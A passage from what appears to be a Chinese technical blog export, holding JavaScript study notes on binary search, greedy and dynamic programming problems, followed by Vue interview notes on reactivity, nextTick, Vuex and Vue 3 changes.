的数是否为 target ,并判断该数字、是否已为数组第一个数 // 或者,它左边的一个数是不是已经比它小,如果都满足,即为下边界 if (nums[middle] === target &amp;&amp; (middle === 0 || nums[middle - 1] &lt; target)) &#123; return middle &#125; // 如果发现目标数在左边,就递归地从左边进行二分搜索 // 否则从右半边递归地二分搜索 if (target &lt;= nums[middle]) &#123; return searchLowerBound(nums, target, low, middle - 1) &#125; else &#123; return searchLowerBound(nums, target, middle + 1, high) &#125;&#125; 查找上边界的代码如下。 12345678910111213141516171819202122232425// 二分法查找上边界const searchUpperBound = function (nums, target, low, high) &#123; low = low === undefined ? 0 : low high = high === undefined ? nums.length : high if (low &gt; high) &#123; return -1 &#125; let middle = low + Math.floor((high - low) / 2) // 判断是否是上边界时,先看看 middle 的数是否为 target,并判断该数是否已为数组的最后一个数, // 或者,它右边的数是不是比它大,如果都满足,即为上边界 if (nums[middle] === target &amp;&amp; (middle === nums.length - 1 || nums[middle + 1] &gt; target)) &#123; return middle &#125; // 如果发现目标数在左边,就递归地从左边进行二分搜索 // 否则从右半边递归地二分搜索 if (target &lt; nums[middle]) &#123; return searchUpperBound(nums, target, low, middle - 1) &#125; else &#123; return searchUpperBound(nums, target, middle + 1, high) &#125;&#125; 二分搜索:找模糊边界问题二分搜索可以用来查找一些模糊的边界。模糊的边界指,边界的值并不等于目标的值,而是大于或者小于目标的值。 例题:从数组 [-2, 0, 1, 4, 7, 9, 10] 中找到第一个大于 6 的数。 二分搜索找模糊边界问题解题思路在一个排好序的数组里,判断一个数是不是第一个大于 6 的数,只要它满足如下的条件: 该数要大于 6; 该数有可能是数组里的第一个数,或者它之前的一个数比 6 小。只要满足了上面的条件就是第一个大于 6 的数。 二分搜索找模糊边界问题代码实现12345678910111213141516171819202122232425262728// 对于查找模糊边界,进行二分搜索const firstGreaterThan = function (nums, target, low, high) &#123; low = low === undefined ? 0 : low high = high === undefined ? nums.length : high if (low &gt; high) &#123; return null &#125; let middle = low + Math.floor((high - low) / 2) // 判断 middle 指向的数是否为第一个比 target 大的数时,须同时满足两个条件: // middle 这个数必须大于 target // middle 要么是第一个数,要么它之前的数小于或等于 target if (nums[middle] &gt; target &amp;&amp; (middle === 0 || nums[middle - 1] &lt;= target)) &#123; return middle &#125; if (target &lt; nums[middle]) &#123; return firstGreaterThan(nums, target, low, middle - 1) &#125; else &#123; return firstGreaterThan(nums, target, middle + 1, high) &#125;&#125;const arr = [-2, 0, 1, 4, 7, 9, 10]console.log(firstGreaterThan(arr, 6))// 4 二分搜索:旋转过的排序数组二分搜索也能在经过旋转了的排序数组中进行。 例题:LeetCode 第 33 题,给定一个经过旋转了的排序数组,判断一下某个数是否在里面。 示例:给定数组为 [4, 5, 6, 7, 0, 1, 2],target 等于 0,答案是 4,即 0 所在的位置下标是 4。 二分搜索找旋转过的排序数组问题解题思路对于这道题,输入数组不是完整排好序,还能运用二分搜索吗?思路如下。 一开始,中位数是 7,并不是我们要找的 0,如何判断往左边还是右边搜索呢?这个数组是经过旋转的,即,从数组中的某个位置开始划分,左边和右边都是排好序的。 如何判断左边是不是排好序的那个部分呢?只要比较 nums[low] 和 nums[middle]。nums[low] &lt;= nums[middle] 时,能判定左边这部分一定是排好序的,否则,右边部分一定是排好序的。 为什么要判断 nums[low] = nums[middle] 的情况呢?因为计算 middle 的公式是 int middle = low + (high - low) / 2。 当只有一个数的时候,low=high,middle=ow,同样认为这一边是排好序的。 判定某一边是排好序的,有什么用处呢?能准确地判断目标值是否在这个区间里。如果 nums[low] &lt;= target &amp;&amp; target &lt; nums[middle],则应该在这个区间里搜索目标值。反之,目标值肯定在另外一边。 二分搜索找旋转过的排序数组问题代码实现1234567891011121314151617181920212223242526272829303132333435// 对于旋转过的排序数组,进行二分搜索const binarySearch = function (nums, target, low, high) &#123; low = low === undefined ? 0 : low high = high === undefined ? nums.length : high let middle = low + Math.floor((high - low) / 2) // 判断中位数是否要找的数 if (nums[middle] === target) &#123; return middle &#125; // 判断左半边是不是排好序 if (nums[low] &lt;= nums[middle]) &#123; // 判断目标值是否在左半边 // 是,则在左半边搜索 // 否,则在右半边搜索 if (nums[low] &lt;= target &amp;&amp; target &lt; nums[middle]) &#123; return binarySearch(nums, target, low, middle - 1) &#125; return binarySearch(nums, target, middle + 1, high) &#125; else &#123; // 右半边是排好序的那一半,判断目标值是否在右边 // 是,则在右半边继续进行二分搜索 // 否,则在左半边进行二分搜索 if (nums[middle] &lt; target &amp;&amp; target &lt;= nums[high]) &#123; return binarySearch(nums, target, middle + 1, high) &#125; return binarySearch(nums, target, low, middle - 1) &#125;&#125;const arr = [4, 5, 6, 7, 0, 1, 2]console.log(binarySearch(arr, 6))// 2 在决定在哪一边进行二分搜索的时候,利用了旋转数组的性质,这就是这道题的巧妙之处。 二分搜索:不定长的边界前面介绍的二分搜索的例题都给定了一个具体范围或者区间,那么对于没有给定明确区间的问题能不能运用二分搜索呢? 例题:有一段不知道具体长度的日志文件,里面记录了每次登录的时间戳,已知日志是按顺序从头到尾记录的,没有记录日志的地方为空,要求当前日志的长度。 二分搜索不定长的边界问题解题思路可以把这个问题看成是不知道长度的数组,数组从头开始记录都是时间戳,到了某个位置就成为了空:[2019-01-14, 2019-01-17, … , 2019-08-04, …. , null, null, null ...]。 思路 1:顺序遍历该数组,一直遍历下去,当发现第一个 null 的时候,就知道了日志的总数量。很显然,这是很低效的办法。 思路 2:借用二分搜索的思想,反着进行搜索。 一开始设置 low = 0,high = 1 只要 logs[high] 不为 null,high *= 2 当 logs[high] 为 null 的时候,可以在区间 [0, high] 进行普通的二分搜索 二分搜索不定长的边界问题代码实现123456789101112131415161718192021222324252627282930313233343536373839// 对于不定长边界问题,进行二分搜索// 不断试探在什么位置出现空的日志const getUpperBound = function (logs, high) &#123; high = high === undefined ? 1 : high if (logs[high] === null) &#123; return high &#125; if (logs[high] === undefined) &#123; return logs.length &#125; return getUpperBound(logs, high * 2)&#125;// 运用二分搜索寻找日志长度const binarySearch = function (logs, low, high) &#123; low = low === undefined ? 0 : low high = high === undefined ? logs.length : high if (low &gt; high) &#123; return -1 &#125; let middle = low + Math.floor((high - low) / 2) if (logs[middle] === null &amp;&amp; logs[middle - 1] !== null) &#123; return middle &#125; if (logs[middle] === null) &#123; return binarySearch(logs, low, middle - 1) &#125; else &#123; return binarySearch(logs, middle + 1, high) &#125;&#125;const arr = [1, 2, 3, 4, 5, null, null, null]console.log(binarySearch(arr, 0, getUpperBound(arr)))// 5 贪婪(Greedy)贪婪算法的 Wikipedia 定义:是一种在每一步选中都采取在当前状态下最好或最优的选择,从而希望导致结果是最好或最优的算法。 优点:对于一些问题,非常直观有效。 缺点: 并不是所有问题都能用它去解决; 得到的结果并一定不是正确的,因为这种算法容易过早地做出决定,从而没有办法达到最优解。 下面通过例题来加深对贪婪算法的认识。例题:0-1 背包问题,能不能运用贪婪算法去解决。 有三种策略: 选取价值最大的物品 选择重量最轻的物品 选取价值/重量比最大的物品 策略 1:每次尽可能选择价值最大的,行不通。举例说明如下。 物品有:A B C重量分别是:25, 10, 10价值分别是:100,80,80 根据策略,首先选取物品 A,接下来就不能再去选其他物品,但是,如果选取 B 和 C,结果会更好。 策略 2:每次尽可能选择轻的物品,行不通。举例说明如下。 物品有:A B C重量分别为:25, 10, 10价值分别为:100, 5, 5 根据策略,首先选取物品 B 和 C,接下来就不能选 A,但是,如果选 A,价值更大。 策略 3:每次尽可能选价值/重量比最大的,行不通。举例说明如下。 物品有:A B C重量是:25, 10, 10价值是:25, 10, 10 根据策略,三种物品的价值/重量比都是一样,如果选 A,答案不对,应该选 B 和 C。 由上,贪婪算法总是做出在当前看来是最好的选择。即,它不从整体的角度去考虑,仅仅对局部的最优解感兴趣。因此,只有当那些局部最优策略能产生全局最优策略的时候,才能用贪婪算法。 定会议室问题LeetCode 第 253 题,会议室 II,给定一系列会议的起始时间和结束时间,求最少需要多少个会议室就可以让这些会议顺利召开。 定会议室问题解题思路思路 1:暴力法。 把所有的会议组合找出来; 从最长的组合开始检查,看看各个会议之间有没有冲突; 直到发现一组会议没有冲突,那么它就是答案。 很明显,这样的解法是非常没有效率的。 思路 2:贪婪算法 会议按照起始时间顺序进行; 要给新的即将开始的会议找会议室时,先看当前有无空会议室; 有则在空会议室开会,无则开设一间新会议室。 定会议室问题代码实现123456789101112131415161718192021222324252627282930313233343536373839404142434445// 获取已安排会议室中最早结束的会议const getEarlyEndMetting = function (meetingRooms) &#123; meetingRooms.sort((a, b) =&gt; a.end - b.end) return meetingRooms.shift()&#125;const minMeetingRooms = function (intervals) &#123; // 将会议按开始时间排序 intervals.sort((a, b) =&gt; a.start - b.start) const meetingRooms = [] // 让第一个会议在第一个会议室举行 meetingRooms.push(intervals[0]) for (let i = 1; i &lt; intervals.length; i++) &#123; const meeting = getEarlyEndMetting(meetingRooms) // 从第二个会议开始,对于每个会议,都从安排会议室的会议中取出一个最早结束的 // 若当前会议可以等会议室被腾出才开始,那么就可以重复利用这个会议室 if (intervals[i].start &gt;= meeting.end) &#123; meeting.end = intervals[i].end &#125; else &#123; meetingRooms.push(intervals[i]) &#125; // 将取出的会议重新放回已分配的会议室里 meetingRooms.push(meeting) &#125; console.log('meetingRooms: ', meetingRooms) // meetingRooms: [ &#123; start: 1, end: 7 &#125;, &#123; start: 2, end: 8 &#125; ] return meetingRooms.length&#125;const arr = [ &#123; start: 1, end: 3 &#125;, &#123; start: 4, end: 5 &#125;, &#123; start: 5, end: 6 &#125;, &#123; start: 2, end: 4 &#125;, &#123; start: 4, end: 7 &#125;, &#123; start: 6, end: 7 &#125;, &#123; start: 7, end: 8 &#125;]console.log(minMeetingRooms(arr))// 2 为什么贪婪算法能在这里成立?每当遇到一个新的会议时,总是贪婪地从所有会议室里找出最先结束会议的那个。 为什么这样可以产生最优的结果?若选择的会议室中会议未结束,则意味着需要开辟一个新会议室,这已经不是当前的最优解了。]]></content>
<tags>
<tag>javascript</tag>
<tag>algorithm</tag>
</tags>
</entry>
<entry>
<title><![CDATA[「超详笔记」算法——动态规划(JS版)]]></title>
<url>%2F2020%2F11%2F23%2Falgorithm-dp%2F</url>
<content type="text"><![CDATA[判断动态规划判断一个算法问题是否属于动态规划问题,主要依据有两点: 最优子结构:一个问题的最优解是由它的各个子问题的最优解决定的。 重叠子问题:解决一个问题需要拆解许多子问题,而这个子问题有重复。 最长子序列问题LeetCode 第 300 题:给定一个无序的整数数组,找到其中最长子序列长度。 说明:可能会有多种最长上升子序列的组合,你只需要输出对应的长度即可。你算法的时间复杂度应该为 O(n2)。注意:子序列和子数组不同,它并不要求元素是连续的。 示例 输入:[ 10, 9, 2, 5, 3, 7, 101, 18 ]输出:4即,最长的上升子序列是 [2, 3, 7, 101],它的长度是 4。 最长子序列问题解题思路在给定的数组里,有很多的上升子序列,例如:[10, 101],[9, 101],[2, 5, 7, 101],以及 [2, 3, 7, 101],只需要找出其中一个最长的。 思路 1:暴力法 找出所有的子序列,然后从中返回一个最长的。 从一个数组中罗列出所有的非空子数组有: n×(n + 1)/2 种,即 O(n2),那么罗列出所有的非空子序列有 2n−1 种。复杂度将是 O(2n)。 思路 2:缩小问题规模 1、找最优子结构:输入规模对半分。 [10, 9, 2, 5] 最长的子序列应该是 [2, 5],而 [3, 7, 101, 4] 最长的子序列是 [3, 7, 101],由于 3 比 5 小,无法简单地组合在一起。即该方法下,总问题的解无法直观地通过子问题的最优解求得。 2、找最优子结构:每次减一个。 假设 f(n) 表示的是数组 nums[0,…,n−1] 中最长的子序列,那么 f(n−1) 就是数组 nums[0,…,n−2] 中最长的子序列,依此类推,f(1) 就是 nums[0] 的最长子序列。 假设已经解决了 f(1),f(2),… f(n−1) 的问题,考虑最后一个数 nums[n−1],也必然考虑到倒数第二个数 nums[n−2],所以 f(n) 指:如果包含了最后的数,那么最长的子序列应该是什么。注意:最后这个数必须包含在子序列当中的。 如何通过 f(1),f(2),…f(n−1) 推导出 f(n) 呢?由于最后一个数是 4,我们只需要在前面的 f(1),f(2),…f(n−1) 当中,找出一个以小于 4 的数作为结尾的最长的子序列,然后把 4 添加到最后,那么 f(n) 就一定是以 4 作为结尾的最长的子序列了。 最长的子序列并不一定会包含 4,遍历 f(1),f(2),…f(n−1) ,找出最长的。例如,以 101 结尾的最长的上升子序列是什么。 总结解决动态规划问题的两个难点。 (1)如何定义 f(n)。对于这道题而言,f(n) 是以 nums[n−1] 结尾的最长的上升子序列的长度。(2)如何通过 f(1),f(2),…f(n−1) 推导出 f(n),即状态转移方程。本题中,nums[n−1] 和比它小的每一个值 nums[i] 进行比较,其中 1&lt;=i&lt;n,加 1 即可。因此状态转移方程就是:f(n)=max (1 &lt;= i &lt; n−1, nums[i−1] &lt; nums[n−1]) { f(i) } + 1。 以上证明了这个问题有一个最优的子结构。 3、找重叠子问题 在分析最后一个数 4 的时候,以 3 结尾的最长的上升子序列长度就是 f(5),因为 3 是第 5 个数。把问题规模缩小 2 个,当前的数变成 101 的时候,找比它小的数,又发现了 3,这个时候又会去重复计算一遍 f(5),说明该题有重叠的子问题。 因此,可以运用动态规划的方法来解决这个问题。 最长子序列问题递归+自顶而下的实现方式用递归的方法求解状态转移方程式 f(n)=max (1 &lt;= i &lt; n−1, nums[i−1] &lt; nums[n−1]) { f(i) } + 1。 对于每个 n,要从 0 开始遍历 在 n 之前,找出比 nums[n−1] 小的数 递归地调用 f 函数,找出最大的,最后加上 1 当 i 等于 0 的时候,应该返回 0;当 i 等于 1 的时候应该返回 1。 由于递归的解法需要耗费非常多的重复计算,而且很多计算都是重叠的,避免重叠计算的一种办法就是记忆化。记忆化,就是将已经计算出来的结果保存起来,那么下次遇到相同的输入时,直接返回保存好的结果,能够有效节省了大量的计算时间。 最长子序列问题代码实现在递归实现的基础上实现记忆化。 123456789101112131415161718192021222324252627282930313233343536373839404142// 寻找最长子序列// 递归,自顶而下的方式class LongestSubsequence &#123; constructor(nums) &#123; this.max = 1 this.smap = new Map() this.recursion(nums, nums.length) &#125; recursion(nums, n) &#123; if (this.smap.has(n)) &#123; return this.smap.get(n) &#125; if (n &lt;= 1) &#123; return n &#125; let result = 0 let maxEndingHere = 1 // 从头遍历数组,递归求出以每个点为结尾的子数组中最长上升序列的长度 for (let i = 1; i &lt; n; i++) &#123; result = this.recursion(nums, i) if (nums[i - 1] &lt; nums[n - 1] &amp;&amp; result + 1 &gt; maxEndingHere) &#123; maxEndingHere = result + 1 &#125; &#125; // 判断一下,如果那个数比目前最后一个数小,那么就能构成一个新的上升子序列 if (this.max &lt; maxEndingHere) &#123; this.max = maxEndingHere &#125; this.smap.set(n, maxEndingHere) // 返回以当前数结尾的上升子序列的最长长度 return maxEndingHere &#125;&#125;const arr = [10, 9, 2, 5, 3, 7, 101, 18]const ls = new LongestSubsequence(arr)console.log('ls: ', ls.max) 最长子序列问题递归+自顶而下的实现时间复杂度分析递归+记忆化的时间复杂度,如下。 函数 f 按序传递 n,n−1,n−2 … 最后是 1,把结果缓存并返回; 递归返回到输入 n; 缓存里已经保存了 n−1 个结果; for 循环调用递归函数 n−1 次,从 cache 里直接返回结果。 上述过程的时间复杂度是 O(1)。即将问题的规模大小从 n 逐渐减小到 1 的时候,通过将各个结果保存起来,可以将 T(1),T(2),….T(n−1) 的复杂度降低到线性的复杂度。 现在,回到 T(n),在 for 循环里,尝试着从 T(1),T(2)….T(n−1) 里取出最大值,因此 O(T(n))=O(T(1) + T(2) + … + T(n−1))=O(1 + 2 + …. + n−1)=O(n×(n−1)/2)=O(n2)。 最后加上构建缓存 cache 的时间,整体的时间复杂度就是 O(f(n))=O(n) + O(n^2)=O(n2)。通过记忆化的操作,我们把时间复杂度从 O(2n) 降低到了 O(n2)。这种将问题规模不断减少的做法,被称为自顶向下的方法。但是,由于有了递归的存在,程序运行时对堆栈的消耗以及处理是很慢的,在实际工作中并不推荐。更好的办法是自底向上。 最长子序列问题自底向上的实现方式自底向上指,通过状态转移方程,从最小的问题规模入手,不断地增加问题规模,直到所要求的问题规模为止。依然使用记忆化避免重复的计算,不需要递归。 123456789101112131415161718192021222324252627class LongestSubsequence &#123; constructor(nums) &#123; this.max = 1 // 初始化 dp 数组里的每个元素的值为 1,即以每个元素作为结尾的最长子序列的长度初始化为 1 this.dp = new Array(nums.length).fill(1) this.init(nums) &#125; init(nums) &#123; let n = nums.length const &#123; dp &#125; = this // 自底而上求解每个子问题的最优解 for (let i = 0; i &lt; n; i++) &#123; for (let j = 0; j &lt; i; j++) &#123; if (nums[j] &lt; nums[i] &amp;&amp; dp[i] &lt; dp[j] + 1) &#123; dp[i] = dp[j] + 1 &#125; &#125; // 当前计算好的长度与全局的最大值进行比较 this.max = Math.max(this.max, dp[i]) &#125; &#125;&#125;const arr = [10, 9, 2, 5, 3, 7, 101, 18]const ls = new LongestSubsequence(arr)console.log('ls: ', ls.max) 最长子序列问题自底向上的实现方式时间复杂度由上可知,这一个双重循环。当 i=0 的时候,内循环执行 0 次;当 i=1 的时候,内循环执行 1 次……以此类推,当 i=n−1 的时候,内循环执行了 n−1 次,因此,总体的时间复杂度是 O(1 + 2 + .. + n−1)=O(n×(n−1) / 2)=O(n2)。 线性规划线性,就是说各个子问题的规模以线性的方式分布,并且子问题的最佳状态或结果可以存储在一维线性的数据结构里,例如一维数组,哈希表等。 解法中,经常会用 dp[i] 去表示第 i 个位置的结果,或者从 0 开始到第 i 个位置为止的最佳状态或结果。例如,最长上升子序列。dp[i] 表示从数组第 0 个元素开始到第 i 个元素为止的最长的上升子序列。 求解 dp[i] 的复杂程度取决于题目的要求,但是基本上有两种形式。 求不相邻数最大和LeetCode 第 198 题,给定一个数组,不能选择相邻的数,求如何选才能使总数最大。解法:这道题需要运用经典的 0-1 思想,简单说就是:“选还是不选”。 假设 dp[i] 表示到第 i 个元素为止我们所能收获到的最大总数。 如果选择了第 i 个数,则不能选它的前一个数,因此,收获的最大总数就是 dp[i−2] + nums[i]。 不选,则直接考虑它的前一个数 dp[i−1]。因此,可以推导出它的递归公式 dp[i]=max(nums[i] + dp[i−2], dp[i−1]),可以看到,dp[i] 仅仅依赖于有限个 dp[j],其中 j=i−1,i−2。 求不相邻数最大和代码实现12345678910111213141516171819202122232425// 求不相邻数最大和const rob = function (nums) &#123; let n = nums.length // 处理当数组为空或者数组只有一个元素的情况 if (n === 0) return 0 if (n === 1) return nums[0] // 定义一个 dp 数组,dp[i] 表示到第 i 个元素为止我们能收获到的最大总数 const dp = [] // 初始化 dp[0], dp[1] dp[0] = nums[0] dp[1] = Math.max(nums[0], nums[1]) // 对于每个 nums[i],考虑两种情况,选还是不选,然后取最大值 for (let i = 2; i &lt; n; i++) &#123; dp[i] = Math.max(nums[i] + dp[i - 2], dp[i - 1]) &#125; return dp[n - 1]&#125;const arr = [10, 9, 2, 5, 3, 7, 101, 18]console.log('rb: ', rob(arr)) 区间规划区间规划,就是说各个子问题的规模由不同的区间来定义,一般子问题的最佳状态或结果存储在二维数组里。一般用 dp[i][j] 代表从第 i 个位置到第 j 个位置之间的最佳状态或结果。 解这类问题的时间复杂度一般为多项式时间,对于一个大小为 n 的问题,时间复杂度不会超过 n 的多项式倍数。例如,O(n)=n^k,k 是一个常数,根据题目的不同而定。 最长回文问题LeetCode 第 516 题,在一个字符串 S 中求最长的回文子序列。例如给定字符串为 dccac,最长回文就是 ccc。 最长回文问题解法对于回文来说,必须保证两头的字符都相同。用 dp[i][j] 表示从字符串第 i 个字符到第 j 个字符之间的最长回文,比较这段区间外的两个字符,如果发现它们相等,它们就肯定能构成新的最长回文。而最长的回文长度会保存在 dp[0][n−1] 里。因此,可以推导出如下的递推公式。当首尾的两个字符相等的时候 dp[0][n−1]=dp[1][n−2] + 2,否则,dp[0][n−1]=max(dp[1][n−1], dp[0][n−2])。 最长回文问题代码实现12345678910111213141516171819202122232425262728293031const LPS = function (s) &#123; let n = s.length // 定义 dp 矩阵, dp[i][j] 表示从字符串第 i 个字符 // 到第 j 个字符之间的最大回文 const dp = new Array(n) // 初始化 dp 矩阵,将对角线元素设为 1,即单个字符的回文长度为 1 for (let i = 0; i &lt; n; i++) &#123; dp[i] = [...new Array(n)] dp[i][i] = 1 &#125; console.log('dp: ', dp) // 从长度为 2 开始,尝试将区间扩大,一直扩大到 n for (let len = 2; len &lt;= n; len++) &#123; // 扩大的过程中,每次都得出区间的真实位置 i 和结束位置j for (let i = 0; i &lt; n - len + 1; i++) &#123; let j = i + len - 1 // 比较一下区间首尾的字符是否相等,如果相等,就加2 // 如果不等,从规模更小的字符串中得出最长的回文长度 if (s.charAt(i) === s.charAt(j)) &#123; dp[i][j] = 2 + (len === 2 ? 0 : dp[i + 1][j - 1]) &#125; else &#123; dp[i][j] = Math.max(dp[i + 1][j], dp[i][j - 1]) &#125; &#125; return dp[0][n - 1] &#125;&#125;console.log(LPS('abcbc'))]]></content>
<tags>
<tag>javascript</tag>
<tag>algorithm</tag>
</tags>
</entry>
<entry>
<title><![CDATA[inter-vue]]></title>
<url>%2F2020%2F11%2F16%2Finter-vue%2F</url>
<content type="text"><![CDATA[Vue 响应式原理怎么实现 响应式核心是通过 Object.defineProperty 拦截对数据的访问和设置。 响应式数据分为两类: 对象。循环遍历对象的所有属性,为每个属性设置 getter、setter,以达到拦截访问和设置的目的,如果属性值依旧为对象,则递归属性值上的每个 key 设置 getter、setter。 数组。增强数组的那 7 个(push、pop、shift、unshift、splice、reverse 和 sort)可以改变自身的原型方法,然后拦截对这些方法的操作。 访问数据时(obj.key)进行依赖收集,在 dep 中存储相关的 watcher。 设置数据时由 dep 通知相关的 watcher 去更新。 Vue 中 MVVM 原理 深度遍历 data 对象,利用 defineProperty API 对每个属性数据劫持(Observer) 对于每个属性的 getter 绑定一个依赖队列(Dep),setter 触发(Notify)这个依赖队列遍历执行每一项 在模版编译构成中,编译到 v-modal 指令、解析出具体的文本节点值或者用户手动 watcher 时,创建一个观察者(Watcher),观察者创建后会调用 getter 方法,将其所有的依赖的观察对象插入当前依赖队列(subs)。 通过监听元素的 input 事件,当用户输入即可修改数据,这样实现了从视图到数据的更新 当数据变化,调用 setter,触发遍历执行依赖队列中的观察者,观察者回调更新(update)视图,这样就实现了从数据到视图的更新。 Vue 中 Dep &amp;&amp; Watcher一个 obj.key 对应一个 Dep,它是用来收集当前 value 所有依赖,依赖列表(dep.subs) 存放所有依赖的 watcher 实例。 一个组件对应一个 watcher(渲染 watcher)或者一个表达式 watcher(用户 watcher)。Watcher 对依赖(newDeps)去重,设置依赖收集的开关(Dep.target),返回执行获取的值。 当前值发生改变时,就会执行 setter,通知依赖实例(dep)进行更新(notify),遍历依赖列表(subs)中的 watcher 执行 update。 Vue 中 nextTick 原理简单: 在下次 DOM 更新循环结束之后执行延时回调。nextTick 主要使用了宏任务和微任务。根据执行环境分别去尝试采用: V2.6+ Promise MutationObserver setImmediate setTimeout V2.5 Promise setImmediate MessageChannel setTimeout 具体的: 在数据变化,触发观察者(Watcher)回调(update)时,会分为三种情况:赖处理(lazy)、同步(sync)和 观察者队列(queueWatcher)。 观察者队列通过观察者 id 进行去重,再去通过 nextTick 遍历执行观察者的 run 函数视图更新. nextTick 执行的目的是在 microtask 或者 task 中推入一个 function,当前栈执行完毕以后执行 nextTick 传入的 function. 在 Vue2.5 之后的版本,nextTick 采取的策略默认走 microTask, 对于一些 DOM 交互,如 v-on 绑定事件回调函数的处理会强制走 macroTask。 在 Vue2.4 前基于 microTask 实现,但是 microTask 的执行级别非常高,在某些场景之下甚至比事件冒泡还要快,会导致一些诡异的问题。但是全部改成 macroTask,对于一些有重绘和动画场景也会有性能影响。 Vue 中检测对于 macroTask 支持顺序: setImmediate(高版本 IE 和 Edge) -&gt; MessageChannel -&gt; setTimeout。 Vue 中检测对于 microTask 支持顺序: Promise -&gt; fallback macroTask。 相关拓展:macroTask 包括:I/O -&gt; 渲染 -&gt; setImmediate -&gt; requestAnimationFrame -&gt; postMessage -&gt; setTimeout -&gt; setInterval。microTask 包括:process.nextTick -&gt; Promise -&gt; MutationObserve -&gt; Object.observe 参考:Vue 番外篇 – vue.nextTick()浅析JavaScript 运行机制详解:再谈 Event LoopVue.js 升级踩坑小记 这里黄毅老师遇到的音乐播放跟我遇到的在线客服提示音乐一样的问题:nextTick 异步调用时使用 messageChannel API 被认定为不是用户行为,音乐播放器不会被调用。Tasks, microtasks, queues and schedules Vue 初始化过程(new Vue(options))都做了什么? 处理组建配置项。 初始化根组件时进行选项合并操作,将全局配置合并到根组件。 初始化每个子组件时做了一些性能优化,将组件配置对象上的一些深层次属性放到 vm.$options 选项中,以提高代码的执行效率。 初始化组件实例的关系属性,比如 $parent、$children、$root、$refs 等。 处理自定义事件。 处理插槽。 调用 beforeCreate 钩子函数。 初始化组件的 inject 配置项,得到 ret[key]=val 形式的配置对象,然后对该配置对象进行相应处理,并代理每个 key 到 vm 实例上。 数据响应式,处理 props、methods、data、computed、watch 等选项。 解析组件配置项上的 provide 对象,将其挂载到 vm._provided 属性上。 调用 created 钩子函数。 如果发现配置项上有 el 选项,则自动调用$mount 方法,否则手动调用$mount。 接下来进入挂载阶段。 参考:Vue 源码解读(2)—— Vue 初始化过程 methods、computed 和 watch 区别使用场景 methods 一般用于封装一些较为复杂的处理逻辑(同步、异步)。 computed 一般用于封装简单的同步逻辑,将记过处理的数据返回,然后显示,减轻模版重量。 watch 一般用于当需要数据变化时执行异步或开销较大的操作。 区别 methods 每次执行都调用。 computed 第一次执行数据被缓存,实现原理它本质是一个 watcher,缓存是因为 watcher.dirty 属性控制。 watch Watcher 对象的实例。 Vue 的异步更新机制是如何实现的?Vue 的异步更新机制的核心是利用浏览器的异步任务队列来实现的,首选微任务队列,宏任务队列次之。 当响应式数据更新后,会调用 dep.notify 方法,通知 dep 中收集的 watcher 去执行 update 方法,watcher.update 将 watcher 自己放入一个 watcher 队列(全局 queue 数组)。 然后通过 nextTick 方法将一个刷新 watcher 队列的方法(flushSchedulerQueue)放入全局的 callbacks 数组中。 如果此时浏览器的异步任务队列中没有一个叫 flushCallbacks 的函数,则执行 timeFunc 函数,将 flushCallbacks 函数放入异步任务队列。如果异步任务队列中已经存在 flushCallbacks 函数,等待其执行完成以后再放入下一个 flushCallbacks 函数。 flushCallbacks 函数负责执行 callbacks 数组中的所有 flushSchedulerQueue 函数。 flushSchedulerQueue 函数负责刷新 watcher 队列,即执行 queue 数组中每一个 watcher 的 run 方法,从而进入更新阶段,比如执行组件更新函数或者执行用户 watch 的回调函数。 nextTick -&gt; flushcallback -&gt; callbacks[flushSchedulerQueue] -&gt; [watcher] 为什么 Vue 中不要用 index 作为 key? sameNode 判断是否复用节点:key、tag、是否有 data 存在、是否是注释节点、是否是相同的 input type; 通过头尾指针内部收缩算法来比较同级节点是否是 sameNode; 用 index 作为 key,当列表数据第一位删除后 ,在对应的新 VNode 中节点的 key 也更新,在 patchVNode 时,会复用原来的第一个节点,第二个节点…发现新节点里少了一个就会删除。这样将原本删除第一位节点变成了删除最后一位节点,其他节点复用也错了。 vite 的认识优点: 采用 ESBuild 使用 go 编写,预构建依赖,比 Javascript 编写的打包器预构建依赖快 10-100 倍; 预编译:npm 依赖基本不会变化的模块,在预构建阶段整理,减少 http 请求数; 按需编译:用户源码需频繁变动的模块,根据路由使用实时编译; 客户端强缓存:请求过的模块响应头 max-age=31536000,immutable 强缓存,如果版本模块发生变化则用附加版本 query 使其失效; 产物优化:没有 runtime 和模版代码; 分包处理:不需要用户干预,默认启动一系列智能分包规则,尽量减少模块的重复打包,tree-shaking,按需打包,公共依赖当作独立 chunk; 静态资源处理:提供了 URL,字符串,module,assembly,worker 等处理方式; 缺点: ES module 只兼容现代浏览器; Rollup 打包,而不是 ESBuild,原因在于构建应用重要功能还在持续开发中,特别是代码分割和 CSS 处理方面。 Vue 组件通讯方式 props 和 $emit 父组件向子组件传递数据是通过 prop 传递的,子组件传递数据给父组件是通过 $emit 触发事件来做到的; $parent,$children 获取当前组件的父组件和当前组件的子组件; $arrts 和 $listeners 解决了将父组件属性和监听器传递到内部组件; eventBus 事件总线方式; vuex 状态管理; Vuex 原理Vuex 是基于 Vue 实现的全局状态管理器插件,利用 Vue 的响应式原理监听 state 对象的变化,再通过全局 Vue.mixin API 在每个组件的 beforeCreate 生命周期执行时将 store 对象注入到组件。 参考 「Vue 源码学习」你想知道 Vuex 的实现原理吗? Vue3 VS Vue2 的改变从使用上来看 composition API。由 options(选项式)API 变成 composition(组合式)API,这种改变带来的: 防止代码逻辑分散在选项式 API 的不同位置 props、data、methods 等,组合式 API 会集中在一起; 解决 Mixins、高阶组件(HOC)和 Renderless Components(作用于插槽封装逻辑的组件)带来的逻辑复用存在的问题。 setup 生命周期钩子。Vue3 的组合式 API 代码逻辑在 setup 里执行,同时,&lt;script setup&gt; 作为 setup 在单文件组件使用组合式 API 编译时的语法糖,进一步简化了代码,更好的 IDE 类型推断性能,顶层的绑定(变量、函数声明和 import 引入内容)能在模版中直接使用; defineAsyncComponent 包装异步组件;片段,组件支持多个根节点; 废除了.native修饰符,用 emits 选项定义组件可触发的事件; 新增 Suspense 和 Teleport 内置组件; 废除了 $listeners 和 $children 属性; 通过 defineExpose 编译宏暴露出去属性给 ref 使用; 自定义 hooks。借助 React hooks 思想,可基于函数抽取和复用逻辑的能力; 从内部改进来看 类型推导。 将 JavaScript 改成了 typescript,具有友好的类型推导和 IDE 语法补全; 打包尺寸。 基于函数的 API 每个函数都可以作为具名 ES module export 被单独引入,对 tree-shaking 非常友好。基于函数 API 所写的代码压缩率更好,因为函数名和 setup 函数体内部的变量都可以被压缩,但对象和 class 属性/方法不可以; 性能更优。重写了虚拟 DOM 的实现,编译模版的优化。 编译模版的优化。编译模版分为 3 个阶段,分别是:parse、transform 和 codegen。其中 parse 